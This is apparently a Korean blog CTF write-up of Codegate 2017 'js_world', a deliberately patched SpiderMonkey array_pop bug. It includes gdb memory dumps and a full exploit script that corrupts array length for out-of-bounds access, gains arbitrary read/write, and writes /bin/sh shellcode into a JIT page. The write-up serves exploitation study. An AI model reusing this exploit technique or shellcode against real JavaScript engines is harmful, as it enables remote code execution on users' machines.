본문 바로가기

브라우저

2017 codegate / js_world

 

 

spider monkey의 소스 코드를 취약하게 패치하여 임의로 취약점을 만들었다. 

 

수정 전 코드.

 

//mozjs-24.2.0/js/src/jsarray.cpp
JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
    CallArgs args = CallArgsFromVp(argc, vp);

    /* Step 1. */
    RootedObject obj(cx, ToObject(cx, args.thisv()));
    if (!obj)
        return false;

    /* Steps 2-3. */
    uint32_t index;
    if (!GetLengthProperty(cx, obj, &index))
        return false;

    /* Steps 4-5. */
    if (index == 0) {
        /* Step 4b. */
        args.rval().setUndefined();
    } else {
        /* Step 5a. */
        index--;

        /* Step 5b, 5e. */
        JSBool hole;
        if (!GetElement(cx, obj, index, &hole, args.rval()))
            return false;

        /* Step 5c. */
        if (!hole && !DeletePropertyOrThrow(cx, obj, index))
            return false;
    }

    // Keep dense initialized length optimal, if possible.  Note that this just
    // reflects the possible deletion above: in particular, it's okay to do
    // this even if the length is non-writable and SetLengthProperty throws.
    if (obj->isNative() && obj->getDenseInitializedLength() > index)
        obj->setDenseInitializedLength(index);

    /* Steps 4a, 5d. */
    return SetLengthProperty(cx, obj, index);
}

 

수정 후 코드.

//mozjs-24.2.0/js/src/jsarray.cpp
JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
    CallArgs args = CallArgsFromVp(argc, vp);

    /* Step 1. */
    RootedObject obj(cx, ToObject(cx, args.thisv()));
    if (!obj)
        return false;

    /* Steps 2-3. */
    uint32_t index;
    if (!GetLengthProperty(cx, obj, &index))
        return false;

    /* Steps 4-5. */

        /* Step 5a. */
    index--;

        /* Step 5b, 5e. */
    JSBool hole;
    if (!GetElement(cx, obj, index, &hole, args.rval()))
       return false;

        /* Step 5c. */
    if (!hole && !DeletePropertyOrThrow(cx, obj, index))
        return false;


    // Keep dense initialized length optimal, if possible.  Note that this just
    // reflects the possible deletion above: in particular, it's okay to do
    // this even if the length is non-writable and SetLengthProperty throws.
    if (obj->isNative())
        obj->setDenseInitializedLength(index);

    /* Steps 4a, 5d. */
    return SetLengthProperty(cx, obj, index);
}

Value의 구조체인  JS value의 구조체는 아래와 같다. 

 

typedef union jsval_layout
{
    uint64_t asBits;
    struct {
        JSValueTag         tag : 17;
        uint64_t           payload47 : 47;
    } debugView;
    struct {
        uint32_t           padding;
        union {
            int32_t        i32;
            uint32_t       u32;
            JSWhyMagic     why;
        } payload;
    } s;
    double asDouble;
    void *asPtr;
    size_t asWord;
    uintptr_t asUIntPtr;
} JSVAL_ALIGNMENT jsval_layout;

js::array_pop에서 인자를 가져올 때 CallArgsFromVp 함수를 사용한다. vp+2를 인자로 넘기는 것을 볼 수 있다?  jsval_layout의 구조체를 보면 +1을 넘겨야 할 것 같은데 디버깅하면 +2의 위치에 있는 것이 맞다...

//CallArgs.h
CallArgsFromVp(unsigned argc, Value *vp)
{
    return CallArgs::create(argc, vp + 2);
}

 

array의 구조체를 확인하기 위해서 간단한 코드를 짠 후 디버깅했다. 

 

//test3.js

function d2i(d){
     var a = new Uint32Array(new Float64Array([d]).buffer);
     return [a[1], a[0]];
 }

 function i2d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
 }

function i2h(i2){
        var v1 = ("0x0" + i2[0].toString(16)).substr(-8);
        var v2 = ("0x0" + i2[1].toString(16)).substr(-8);
     return [v1,v2];
 }

function p_i2(d){
     print(i2h(d2i(d))[0]+i2h(d2i(d))[1])
 }


a=[0x41414141,0x51515151,0x61616161]
print('length:'+a.length)

Math.atan(a)

for(var i= 1;i<0x10;i++){
	print(a[i])
}
print(a[3])

Math.atan(a)

 

구조체를 보면 object+0x18에 element가 시작되는 포인터가 있는 것을 볼 수 있다. 그 뒤에는 length가 온다. 잘 보면 length가 2개 존재하는 것을 알 수 있다. 첫번째 길이가 C++에서 관리하는 array의 실제 길이이고, 그 뒤에 오는 길이는 javascript 단에서 관리하는 길이이다. javscript에서 관리하는 길이는 a.length=0xdeadbeef로 유저가 덮어쓸 수 있다. 하지만 이 경우 a[0x100]으로 접근하면 undefined라고 뜨고 leak이 되지 않는다. OOB를 트리거하기 위해서는 C++이 관리하는 첫번째 길이가 오염되어야 한다.

 

gdb-peda$ x/68gx 0x7ffff6244ac0
0x7ffff6244ac0:	0x00007ffff62475d8	0x00007ffff6231820
0x7ffff6244ad0:	0x0000000000000000	0x00007ffff6244af0
0x7ffff6244ae0:	0x0000000300000000	0x0000000300000006
0x7ffff6244af0:	0xfff8800041414141	0xfff8800051515151
0x7ffff6244b00:	0xfff8800061616161	0x0000000000000000
0x7ffff6244b10:	0x0000000000000000	0x0000000000000000

addr+0x18위치에 index[0]의 포인터가 있기 때문에 이 부분을 덮어쓰면 AAW과 AAR이 가능하다 

 

 

a=[] 선언 이후 Math.atan(a)로 구조체 확인.

 

gdb-peda$ x/68gx 0x7ffff6244ac0
0x7ffff6244ac0:	0x00007ffff62475d8	0x00007ffff6231820
0x7ffff6244ad0:	0x0000000000000000	0x00007ffff6244af0
0x7ffff6244ae0:	0x0000000000000000	0x0000000000000006
0x7ffff6244af0:	0x0000000000000000	0x0000000000000000
0x7ffff6244b00:	0x0000000000000000	0x0000000000000000
0x7ffff6244b10:	0x0000000000000000	0x0000000000000000
0x7ffff6244b20:	0x0000000000000000	0x0000000000000000
0x7ffff6244b30:	0x0000000000000000	0x0000000000000000
0x7ffff6244b40:	0x0000000000000000	0x0000000000000000
0x7ffff6244b50:	0x0000000000000000	0x0000000000000000
0x7ffff6244b60:	0x0000000000000000	0x0000000000000000
0x7ffff6244b70:	0x0000000000000000	0x0000000000000000
0x7ffff6244b80:	0x0000000000000000	0x0000000000000000
0x7ffff6244b90:	0x0000000000000000	0x0000000000000000
0x7ffff6244ba0:	0x0000000000000000	0x0000000000000000
0x7ffff6244bb0:	0x0000000000000000	0x0000000000000000
0x7ffff6244bc0:	0x0000000000000000	0x0000000000000000

 

a.pop() 이후, 구조체 다시 확인. 길이 필드가 0xfffffff로 세팅된 것을 볼 수 있다. 따라서 OOB가 발생한다. 

 

gdb-peda$ x/68gx 0x7ffff6244ac0
0x7ffff6244ac0:	0x00007ffff62475d8	0x00007ffff6231820
0x7ffff6244ad0:	0x0000000000000000	0x00007ffff6244af0
0x7ffff6244ae0:	0xffffffff00000000	0xffffffff00000006
0x7ffff6244af0:	0x0000000000000000	0x0000000000000000
0x7ffff6244b00:	0x0000000000000000	0x0000000000000000
0x7ffff6244b10:	0x0000000000000000	0x0000000000000000
0x7ffff6244b20:	0x0000000000000000	0x0000000000000000
0x7ffff6244b30:	0x0000000000000000	0x0000000000000000
0x7ffff6244b40:	0x0000000000000000	0x0000000000000000
0x7ffff6244b50:	0x0000000000000000	0x0000000000000000
0x7ffff6244b60:	0x0000000000000000	0x0000000000000000

 

익스플로잇 방법은 다음과 같다.

  1. array1, array2를 만든 후 array1에 대해서 OOB를 발생하게 한다. 
  2. array2의 구조체에 특정한 값을 넣어서, 그 값을 기준으로 array2를 찾는다.
  3. array2의 element ptr을 수정햐여 AAW, AAR를 가능하게 한다.
  4. JIT 페이지 근처의 특정한 값을 기준으로 JIT 페이지 찾아냄
  5. AAW로 JIT에 쉘코드 넣기

 

 

JIT 주소

 

 

 

 

 

 

아직 JIT을 쓰는 부분이 좀 이해가 안 간다... 맨 마지막에 Math.atan(1)을 빼면 JIT로 안 뛰는데 왜 그러지.......

 

function i2d(x){
	tmp1= x/0x100000000 
	tmp2= x%0x100000000
	return new Float64Array(new Uint32Array([tmp2, tmp1]).buffer)[0];
}
function test(v){
	var a=1;
	var b=v;
	a=a+b+1;
	return v+1;
	//print("test");

}


function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(v) {
	lo=d2u(v)[0];
	hi=d2u(v)[1];
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}

a=[1.8457939563e-314]
b=new Uint32Array(0xbeef);


for(i=0; i<0x1000; i++){
   test(1);
}
Math.atan(b)
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

a.pop()
a.pop()
print(a[0xe7f])
print(hex(a[0xe7f]))
for(var i=0;i<0x20000;i++){

	tmp=a[i];
	tmp=hex(tmp)
//	print(i+' '+tmp);
	if(tmp=="0x40e7dde000000000"){
		print("I find b !!!!!")
		id0=i+2;
	}
	if(tmp=="0x2c42cc"){
		print("I find JIT !!!!!")
		jit=i-2
		break;
	}
}
leak=a[id0]
element=hex(leak)
print("element = "+element)
jit_addr=hex(a[jit])
print("JIT addr = "+jit_addr)//leak addr

jit_addr=parseInt(jit_addr,16)
a[id0]=i2d(jit_addr)//write b's pointer
//a[id0]=i2d(0xdeadbeef)




b[0]=0xbb48f631
b[1]=0x6e69622f
b[2]=0x68732f2f
b[3]=0x5f545356
b[4]=0x31583b6a
b[5]=0x90050fd2


for(var i=0;i<0x1000;i++){
//	b[i]=0xcccccccc
	test(1)
}



Math.atan(1);
test(1);
b[i]=0xcccccccc
b[i+0x10000]+0xcccccccc
print("test done")
Math.atan(b)

 

 

 

 

https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/

https://pwn3r.tistory.com/entry/CODEGATE-2017-QUAL-jsworld

 

 

 

 

 

 

 

 

 

'브라우저' 카테고리의 다른 글

DownUnderCTF 2020 / is-this-pwn-or-web  (0) 2020.09.21
Chrome v8 / CVE-2019-5791  (0) 2020.08.17
pwn2win 2020 / omnitmizer  (0) 2020.06.03
Chrome v8 / CVE-2020-6418  (1) 2020.04.25
Chrome v8 / CVE-2019-5825  (0) 2020.04.23